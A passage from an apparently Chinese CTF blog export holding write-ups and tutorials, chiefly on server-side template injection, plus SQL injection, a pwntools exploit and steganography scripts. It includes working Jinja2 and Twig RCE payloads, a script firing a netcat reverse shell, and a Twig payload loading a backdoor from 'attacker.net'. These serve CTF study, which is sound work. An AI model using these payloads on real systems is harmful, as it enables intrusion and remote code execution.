base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W","+") return base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2","=") def encrypt(plain_text): # 私钥加密 cipher_text = b"" for i in range(0, len(plain_text), 128): part = plain_text[i:i+128] enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n)) cipher_text += enc return enc_replace(base64.b64encode(cipher_text).decode()) def decrypt(plain_rsa): base64_enc = dec_replace(plain_rsa) cipher_text= b"" cipher_text = base64.b64decode(base64_enc) for i in range(0,len(cipher_text),128): part=cipher_text[i:i+128] dec = libnum.n2s(pow(libnum.s2n(part),prikey.e,n)) return dec if __name__ == '__main__': #m = b"-RSA-" * 30 #print(f"原始数据: {m}") while(True): c = input("数据") #print(f"加密数据: {c}") c=urllib.parse.unquote(c) f = decrypt(c) print(f"解密数据: {f}") 发现加密的flag U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== 根据小明的日记.txt的提示发现是pbe加密,密码为Password-based-encryption 解密可得flag world.execute.me先分析workflows 发现只要创建issue Question:121212afaf echo $HEART 即可获得 ex1t这题考察的是python 绕过’’’过滤python 处理字符串的过程是先用 line-delimiter 分开 然后每行再视为一个 C nullterminated string 进行处理所以 字符会影响这一过程 所以我们只需要将’’’中的一个’替换为’\\x00\\n 即可 一开始没看懂,gpt解释 这段话是在描述 Python 如何处理字符串,尤其是处理多行字符串或者涉及到特殊字符的字符串。 Python 在处理字符串时,会先用 line-delimiter(通常是换行符 `\\n`)将字符串分割成多行。然后,每一行都会被视为一个 C null-terminated string 进行处理。C null-terminated string 是 C 语言中的一种字符串表示方式,其中字符串的结束被一个空字符(`\\0`)标记。 这里的 "字符会影响这一过程" 可能是指,如果字符串中存在某些特殊字符,例如换行符或者空字符,它们会影响 Python 如何将字符串分割成多行以及如何处理每一行。 "我们只需要将'''中的一个'替换为'\\x00\\n 即可" 这句话是指,如果你有一个多行字符串(在 Python 中,多行字符串可以用三个单引号 `'''` 或者三个双引号 `"""` 来表示),并且你想在某处插入一个空字符和一个换行符,你可以将其中的一个单引号替换为 `\\x00\\n`。这样,Python 在处理这个字符串时,会在那个位置将字符串分割成两行,并且在第一行的末尾插入一个空字符。 这种操作可能会在某些特殊的编程场景中使用,例如在进行某种特殊的字符串操作或者处理某种特殊的输入/输出格式时。 这里考察了\\0是作为python字符串的末尾,于c相似。在替换的时候\\0会影响正常替换,而写进文件后\\0又会被忽略 playload from pwn import * conn = remote('node.nkctf.yuzhian.com.cn', 31303) context.log_level="debug" #io = process(['python3',"server.py"]) conn.recvuntil("> ") payload = b"''\\x00\\n';breakpoint()\\n''\\x00\\n'\\n--NKCTF2024\\n\\n" conn.send(payload) conn.interactive() breakpoint()用于在python代码中打点,有了他就可以在命令行中输python代码从而得到shell My First CMS后台 /admin/login.phpbp爆破密码Extensions > User Defined Tags存在rce system("ls");可执行代码","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"刷题-isctf-wp","slug":"刷题-isctf-wp","date":"2024-03-21T15:39:30.000Z","updated":"2024-03-23T07:35:18.326Z","comments":true,"path":"posts/d1fd0925.html","link":"","permalink":"http://example.com/posts/d1fd0925.html","excerpt":"","text":"小白小黑把题下下来缩小就能发现是二维码,再根据提示发现01239代表白色剩下的代表黑色 from PIL import Image,ImageDraw width = 256 height = 256 image=Image.new('RGB',(width,height),(0,0,0)) draw = ImageDraw.Draw(image) with open('e:\\\\Desktop\\\\放题\\\\flag.txt',"r") as f: h=1 for i in f: w=1 i = i.replace(' ',"").replace("\\n","") for j in i: if(j=='0'or j=='1'or j=='2'or j=='3'or j=='9'): draw.point((w,h),fill=(255,255,255)) w=w+1 else: w=w+1 h=h+1 image.save('code.png', 'png') print("ok") spalshesspalshes 中文有散点的意思,又发现三个一组可能是散点图 import matplotlib.pyplot as plt lis =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1] x = lis[0::3] y = lis[1::3] z = lis[2::3] fig = plt.figure() ax = plt.figure().add_subplot(111, projection = '3d') ax.set_title('Spalshes') ax.set_xlabel('X Label') ax.set_ylabel('Y Label') ax.set_zlabel('Z Label') ax.scatter(x,y,z,c = 'r',marker = '.') plt.legend('x1') plt.show() print() 镜流图片像素提取+lsb隐写 图片像素提取脚本 import os import re import cv2 import argparse import itertools import numpy as np # python39.exe .\\图片嵌套隐写.py -f 1new.png -p 0x0+3830x2150 -n 10x10 parser = argparse.ArgumentParser() parser.add_argument('-f', type=str, default=None, required=True, help='输入文件名称') parser.add_argument('-p', type=str, default=None, required=True, help='输入左上顶点和右下顶点坐标 (如:220x344+3520x2150)') parser.add_argument('-n', type=str, default=None, required=True, help='输入宽度间隔和高度间隔 (如:44x86)') args = parser.parse_args() if __name__ == '__main__': if re.search(r"^\\d{1,}x\\d{1,}\\+\\d{1,}x\\d{1,}$", args.p) and re.search(r"^\\d{1,}x\\d{1,}$", args.n): x1, y1 = map(lambda x: int(x), args.p.split("+")[0].split("x")) x2, y2 = map(lambda x: int(x), args.p.split("+")[1].split("x")) width, height = map(lambda x: int(x), args.n.split("x")) img_path = os.path.abspath(args.f) file_name = img_path.split("\\\\")[-1] img = cv2.imread(img_path, cv2.IMREAD_COLOR) row, col = img.shape[:2] r, c = len(range(y1, y2 + 1, height)), len(range(x1, x2 + 1, width)) new_img = np.zeros(shape=(r, c, 3)) for y, x in itertools.product(range(r), range(c)): new_img[y, x] = img[y1 + y * height, x1 + x * width] cv2.imwrite(f"_{file_name}", new_img) print("已保存到运行目录中...") else: print("参数-p或参数-n, 输入错误!") streamSQL盲注,套神工具一把梭 Daddy_Was_A_Thief直接解压后搜索发现flag.zip打开zip,查看注释发现报错,但是报错是错的,百度可知正确答案是SyntaxError即为压缩包解压密码","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"NSSCTF","slug":"NSSCTF","date":"2024-03-11T15:46:50.000Z","updated":"2024-09-10T10:26:58.158Z","comments":true,"path":"posts/68b6bccd.html","link":"","permalink":"http://example.com/posts/68b6bccd.html","excerpt":"","text":"[SWPUCTF 2022 新生赛]Capture! Problem: [SWPUCTF 2022 新生赛]Capture! [[toc]] 修改高度得part1 再LSB隐写一把梭 zsteg -a flag.png #一把梭 猜测base64,无果 再颠倒顺序即可解出 [SWPUCTF 2022 新生赛]Cycle Again Problem: [SWPUCTF 2022 新生赛]Cycle Again 先用010查看图片发现图片的宽和高为零即可知是crc爆破 再用脚本crc爆破 import binascii import struct # \\x49\\x48\\x44\\x52\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x08\\x02\\x00\\x00\\x00 crc32key = 0x6bb7ad9c for i in range(0, 65535): for j in range(0, 5000): width = struct.pack('>i', j) height = struct.pack('>i', i) data = b'\\x49\\x48\\x44\\x52' + width + height + b'\\x08\\x06\\x00\\x00\\x00' crc32result = binascii.crc32(data) & 0xffffffff if crc32result == crc32key: print(''.join(map(lambda c: "%02X" % c, width))) print(''.join(map(lambda c: "%02X" % c, height))) output: 00000800 00000480 即可得到part1 再用crc爆破压缩包即可获得part2 crc脚本 [SWPUCTF 2022 新生赛]Coffee Please解压文档 使用vscode 搜索 即可得到flag NSSCTF{8ff8a53a-9378-4e78-b54a-ef86e8c84432} Problem: [SWPUCTF 2022 新生赛]Convert Something [SWPUCTF 2022 新生赛]Convert Something零宽隐写+base64隐写 零宽隐写网站 base64隐写脚本 import base64 def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in range(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('.\\字频统计.txt', 'rb') as f: file_lines = f.readlines() bin_str='' for line in file_lines: steg_line = line.decode().replace('\\r\\n', '') norm_line = base64.b64encode((base64.b64decode(line))).decode() diff = get_base64_diff_value(steg_line, norm_line) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print (bin_str) res_str = '' for i in range(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i+8], 2)) print (res_str) if __name__=='__main__': solve_stego() [SWPUCTF 2022 新生赛]Does your nc work? https://www.nssctf.cn/problem/2633 nc 连接签到题,注意不要用windows连接就行 [SWPUCTF 2022 新生赛]funny_web Problem: [SWPUCTF 2022 新生赛]funny_web 账号NSS密码2122693401 intval()函数用于字符串转整数,可以使十六进制转十进制用于绕过数字过滤 intval()函数绕过,可以凭借字符串拼接绕过payload:?num=12345a [GWCTF 2019]枯燥的抽奖PHP随机数预测 使用php_mt_seed 首先查看源码发现/check,可以发现生成逻辑,简单分析后就可以知道生成的前几位是什么,再生成php_mt_seed能识别的格式match_min matchmax 0 range_max,再用在线网站的生成即可 str1="TWKZDu268g" key="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" finall="" for i in str1: num = key.index(i) finall+=(str(num)+" ")*2+'0'+" "+str(len(key)-1)+" " print(finall) 再在在线网站运行就行,版本要求PHP 7.1.0+ [HUBUCTF 2022 新生赛]ezsql考察update注入,首先可以注册一个账号,进入改资料的界面,抓包可以发现这里是进行了一个update操作 可以猜测到后台是用的update,其次可以扫描目录可以发现源码泄露 注入语句 update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]; 注入database nickname=%27+or+%3D1%3D11#&age=111,description=(select+database())#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61 database会在description显示 tables nickname=%27+or+%3D1%3D11#&age=111,description=(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61 columns nickname=%27+or+%3D1%3D11#&age=111,description=(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=0x7573657273)#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61 users要改成十六进制的0x7573657273","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"HSCCTF 2024 WP","slug":"HSCCTF-2024-WP","date":"2024-03-09T12:40:43.000Z","updated":"2024-03-09T18:13:18.399Z","comments":true,"path":"posts/c2bf04f9.html","link":"","permalink":"http://example.com/posts/c2bf04f9.html","excerpt":"","text":"SIGN_INbinwalk 分离出来两张jpg然后再outguess隐写","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf-ssti模板注入","slug":"ctf-ssti模板注入","date":"2024-02-29T15:20:13.000Z","updated":"2024-04-30T12:38:56.005Z","comments":true,"path":"posts/81825c14.html","link":"","permalink":"http://example.com/posts/81825c14.html","excerpt":"","text":"学习视频 判断模板类型 php常见模板:twig,smarty,bladepython常见的模板:Jinja2,tornado,Djangojava常见的模板:FreeMarker,velocity ssti漏洞成因参考 SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。 模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。 from flask import * from jinja2 import * app = Flask(__name__) @app.route("/myan") def index(): name = request.args.get('name','guest') html = '''<h3> Hello %s'''%name return render_template_string(html) if __name__ == "__main__": app.run(debug=True) 魔术方法 魔术方法 作用 __class__ 查找当前类型的所属对象 __base__ 沿着父子类的关系往上走一个 __mro__ 查找当前类对象的所有继承类 __subclasses__() 查找父类下的所有子类 __init__ 查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载 __globals__ 函数会以字典的形式返回当前对象的全部全局变量 __getitem__() 对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。(代替中括号) 一个pyload例子: {{().__class__.__base__.__subclasses__()[484].__init__.__globals__.os.popen('cat /flag').read()}} {{().__class__.__base__.__subclasses__()[69][\"load_module\"](\"os\")[\"popen\"](\"cat /flag\").read()}} 绕过过滤双大括号视频 {% %}使用介绍: {%%}是属于flask的控制语句,且以{%end..%}结尾,可以通过在控制语句定义变量或者写循环,判断。 判断{{}}被过滤 尝试{% %} 判断语句能否正常执行 1 {% if 2>1 %}qwq{%endif%} 2 {% if \"\".__class__ %}qwq{%endif%} 3 "{% if ().__class__.__base__.__subclasses__()[\"+str(i)+\"].__init__.__globals__['popen']('cat /flag').read() %}qwq{%endif%}" 无回显ssti反弹shell import requests url = 'http://192.168.86.133:780/flasklab/level/3' #input("url:") for i in range(500): #data={"name":"{{().__class__.__base__.__subclasses__()[\"+str(i)+\"].__init__.__globals__}}"} data={"code":"{% if ().__class__.__base__.__subclasses__()[\"+str(i)+\"].__init__.__globals__['popen']('netcat 192.168.86.130 7777 -e /bin/bash').read() %}qwq{%endif%}"} try: response=requests.post(url,data=data) #print(response.text) if response.status_code == 200: #os.py if 'qwq' in response.text: print(i,"-->",data) except: pass 反弹: nc -lvp 7777 引号过滤使用request模块进行绕过,request模块在os._wrap_close中,可使用脚本查询 pyload: http://192.168.86.133:780/flasklab/level/5?qwq=popen&cmd=cat /flag code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.qwq](request.args.cmd).read()}} 下划线过滤过滤器绕过 过滤器 attr()绕过attr主要用来防止 .过滤而不能获取对象属性 {{()|attr(request.args.qwq)}} http://192.168.86.133:780/flasklab/level/6?class=__class__&base=__base__&subcl=__subclasses__&number=__getitem__&a=__init__&b=__globals__&c=__getitem__ code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subcl)()|attr(request.args.number)(117)|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)('popen')('cat /flag')|attr('read')()}} 编码绕过形式和上面一样,只是经过了编码 unicode编码: code={{()|attr(\"\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f\")()|attr(\"\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f\")(117)|attr(\"\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f\")('popen')('cat /flag')|attr('read')()}} 16位编码: code={{()[\"\\x5f\\x5fclass\\x5f\\x5f\"][\"\\x5f\\x5fbase\\x5f\\x5f\"][\"\\x5f\\x5fsubclasses\\x5f\\x5f\"]()[117][\"\\x5f\\x5finit\\x5f\\x5f\"][\"\\x5f\\x5fglobals\\x5f\\x5f\"]['popen']('cat /flag').read()}} base64编码和格式化字符串 绕过就不手打了,一定不是我懒(逃 点过滤attr过滤attr没有使用点和中括号 用中括号代替点payload: code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}} 关键字过滤“+”拼接使用+号拼接字符串 pyload: {{()['__class__']}}---->{{()['__cla'+'ss__']}} code={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /flag')['re'+'ad']()}} jinjia2中的”~”拼接在jinjia2中~可以拼接字符 payload: {%set a='__cla'%}{%set b='ss__'%}{%set c='__in'%}{%set d='it__'%}{{()[a~b][c~d]}} {%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='po'%}{%set l='pen'%}{{()[a~b][c~d][e~f]()[199][g~h][i~j]['os'][k~l]('cat /flag')['read']()}} # 逆天payload reverse逆转payload: {%set a=\"__ssalc__\"|reverse%}{{()[a]}} 数字过滤过滤器lengthlength过滤器用于返回字符串长度 {% set a='aaaaa'|length %}{{a}} #10 {% set a='aaaaa'|length*'a'|length %}{{a}} #30 混合过滤过滤器dict()和join join可以直接拼接键名 {%set a=dict(__cla=a,ss__=a)|join%}{a} 获取符号 {%set ben =({}|select()|string()|list)%}{{ben}} 当加上list就会变成列表就可以[8]等方式获得数据 过滤 ‘ “ + request . [ ]code={% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}} 主要是利用join拼接+addr绕过点,最后执行命令那要绕过单引号,就利用了上面获取符号例子里获取空格 过滤 ‘ “ _ 0-9 . [ ] \\ 空格{{lipsum|string|list}} 获取过滤的符号再构造payload {% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}} 获取config无过滤直接{{config}}就可以获取 当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串 flask内置函数 函数 作用 lipsum 可加载第三方库 url_for 可返回url路径 get_flashed_message 可获取消息 使用内置函数调用current_app模块进而查看配置文件current_app可输出当前app(即flask) payload: {{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}} tornado模板中获取在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了 {{handler.settings}} pin码计算生成原理 获取用户名username```import getpass username=getpass.getuser() 2. 获取app对象name属性 默认为Flask 3.获取app对象module属性 默认为flask.app 4.获取app.py文件所在路径 5. uuid 6.get_machine_id获取 linux:cat /etc/machine-id docker中还得cat /proc/self/cgroup把第一行的拼接上去 macOS: ioeg -c IOPlatformExpertDevice -d 2 windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid # 练习 [[安洵杯 2020]Normal SSTI](https://www.nssctf.cn/problem/910) ```python url_black_list = ['%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e'] black_list = ['.', '[', ']', '{{', '=', '_', '\\'', '\"\"', '\\\\x', 'request', 'config', 'session', 'url_for', 'g', 'get_flashed_messages', '*', 'for', 'if', 'format', 'list', 'lower', 'slice', 'striptags', 'trim', 'xmlattr', 'tojson', 'set', '=', 'chr'] payload http://node4.anna.nssctf.cn:28698/test ?url={%print(()|attr(\"\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f\")()|attr(\"\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f\")(137)|attr(\"\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f\")|attr(\"\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f\")(\"popen\")(\"\\u0063\\u0061\\u0074\\u0020\\u002F\\u0066\\u006C\\u0061\\u0067\")|attr(\"read\")())%} ``` 或者 `fenjing`一把梭 [[HNCTF 2022 WEEK3]ssssti](https://www.nssctf.cn/problem/3022) 过滤:_ ' \" os ``` 1. {% set xhx=((lipsum|string)[18])%}{% set kg=((lipsum|string)[9])%}{% set s=((lipsum|string)[27])%}{% set o=((lipsum|string)[7])%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set a=(o,s)|join%}{% set popen=dict(popen=a)|join %}{% set playload = (dict(cat=a)|join,kg,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{{lipsum|attr(globals)|attr(getitem)(a)|attr(popen)(playload)|attr(read)()}} 或者 {{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=tac f* Twig模板注入Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译成经过优化的原始 PHP 代码。Twig 拥有一个 Sandbox 模型来检测不可信的模板代码。Twig 由一个灵活的词法分析器和语法分析器组成,可以让开发人员定义自己的标签,过滤器并创建自己的 DSL。 过滤器下面这个过滤器的例子会剥去字符串变量name中的 HTML 标签,然后将其转化为大写字母开头的格式: {{ name|striptags|title }} // {{ 'whoami'|striptags|title }} // Output: Whoami! 下面这个过滤器将接收一个序列 list,然后使用 join 中指定的分隔符将序列中的项合并成一个字符串: {{ list|join }} {{ list|join(', ') }} // {{ ['a', 'b', 'c']|join }} // Output: abc // {{ ['a', 'b', 'c']|join('|') }} // Output: a|b|c 更多过滤器 Twig中,可以直接调用内置函数 {% for i in range(0, 3) %} {{ i }}, {% endfor %} // Output: 0, 1, 2, 3, 更多内置函数 更多 Twig 的语法参考 全局变量 _self:引用当前模板名称;(在twig1.x和2.x/3.x作用不一) _context:引用当前上下文; _charset:引用当前字符集。 模板注入Twig 1.x三个全局变量 _self:引用当前模板的实例。 _context:引用当前上下文。 _charset:引用当前字符集。 在注入中主要运用_self变量,它会返回当前\\Twig\\Template实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行SSTI 比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含: {{_self.env.setCache(\"ftp://attacker.net:2121\")}}{{_self.env.loadTemplate(\"backdoor\")}} 此外还有 getFilter 方法,其中含有call_user_func可通过传递参数到该函数调用php函数 {{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}} // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) 但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串 2.x&3.x这俩版本_self作用和前一个版本不同,所以不能再用_self来注入 map过滤器 map所对应的函数如下 function twig_array_map($array $arrow) { $r = []; foreach ($array as $k => $v) { $r[$k] = $arrow($v $k); } return $r; } 我们可以看到,传入的$arrow直接就被当成函数执行,即$arrow($v, $k),而 $v和$k分别是 $array中的 value 和 key 所以$array和$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce 经过查询,有如下几种常见命令执行函数 system ( string $command [, int &$return_var ] ) : string passthru ( string $command [, int &$return_var ] ) exec ( string $command [, array &$output [, int &$return_var ]] ) : string shell_exec ( string $cmd ) : string 有两个参数的函数就上面三种,其对应payload {{[\"whoami\"]|map(\"system\")}} {{[\"whoami\"]|map(\"passthru\")}} {{[\"whoami\"]|map(\"exec\")}} // 无回显 但是当上面的都被ban了呢,我们还有没有其他方法rce 当然,例如 file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int 当我们找到路径后就可以利用该函数进行写shell了 ?name={{{\"","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf-pwn","slug":"ctf-pwn","date":"2024-02-09T06:01:21.000Z","updated":"2024-02-24T08:17:34.444Z","comments":true,"path":"posts/6d2ef8e1.html","link":"","permalink":"http://example.com/posts/6d2ef8e1.html","excerpt":"","text":"nc 签到没啥好说的","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf-misc","slug":"ctf-misc","date":"2024-01-18T04:35:01.000Z","updated":"2024-09-14T09:10:04.558Z","comments":true,"path":"posts/9a7e4e5d.html","link":"","permalink":"http://example.com/posts/9a7e4e5d.html","excerpt":"","text":"ctrl+shift+c 打开禁用f12的网页的devtools 零宽隐写和base64隐写零宽隐写当给一个txt文件,或者题目有0/零之类的词就要开始考虑零宽隐写了,零宽隐写主要考虑的是使用的字符,在cyber里面,通过escape unicode characters可以查看unicode编码 可用的在线工具https://www.mzy0.com/ctftools/zerowidth1/http://330k.github.io/misc_tools/unicode_steganography.htmlhttps://offdev.net/demos/zwsp-steg-jshttps://yuanfux.github.io/zero-width-web/http://www.atoolbox.net/Tool.php?Id=829 推荐这个 通过观察编码即可确定需要勾选的项 base64隐写 import base64 def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in range(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('.\\字频统计.txt', 'rb') as f: file_lines = f.readlines() bin_str='' for line in file_lines: steg_line = line.decode().replace('\\r\\n', '')#看具体情况,可能是\\r\\n也可能是\\n norm_line = base64.b64encode((base64.b64decode(line))).decode() diff = get_base64_diff_value(steg_line, norm_line) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print (bin_str) res_str = '' for i in range(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i+8], 2)) print (res_str) if __name__=='__main__': solve_stego() 常见文件头 文件类型 文件头 文件尾 JPEG (jpg) FFD8FFE1 FF D9 PNG (png) 89504E47 AE 42 60 82 GIF (gif) 47494638 01 01 00 3B TIFF (tif) 49492A00 Windows Bitmap (bmp) 424D CAD (dwg) 41433130 Adobe Photoshop (psd) 38425053 Rich Text Format (rtf) 7B5C727466 XML (xml) 3C3F786D6C HTML (html) 68746D6C3E Email [thorough only] (eml) 44656C69766572792D646174653A Outlook Express (dbx) CFAD12FEC5FD746F Outlook (pst) 2142444E MS Word/Excel (xls.or.doc) D0CF11E0 MS Access (mdb) 5374616E64617264204A WordPerfect (wpd) FF575043 Postscript (eps.or.ps) 252150532D41646F6265 Adobe Acrobat (pdf) 255044462D312E Quicken (qdf) AC9EBD8F Windows Password (pwl) E3828596 ZIP Archive (zip) 504B0304 504B RAR Archive (rar) 52617221 Wave (wav) 57415645 AVI (avi) 41564920 Real Audio (ram) 2E7261FD Real Media (rm) 2E524D46 MPEG (mpg) 000001BA MPEG (mpg) 000001B3 Quicktime (mov) 6D6F6F76 Windows Media (asf) 3026B2758E66CF11 MIDI (mid) 4D546864 MP3 FFFB zlib 78 01 or 78 9C or 78 DA mp3 文件隐写MP3Stego提取.\\Decode.exe -X -P 1111 hidden.WAV -X是提取隐藏文件 -P是密码 111为文件隐藏时的密码 hidden.WAV是要提取的文件 留个教程 留个下载地址 图片隐写 binwalk检查 binwalk -e分离或者foremost 分离 像素提取在正常图片中,每固定像素点间距插入像素,使用python脚本提取 from PIL import Image original_image = Image.open('arcaea.png') new_width = original_image.width // 12 #每12个像素点改变一个像素 new_height = original_image.height // 12 new_image = Image.new("RGB",(new_width,new_height)) for x in 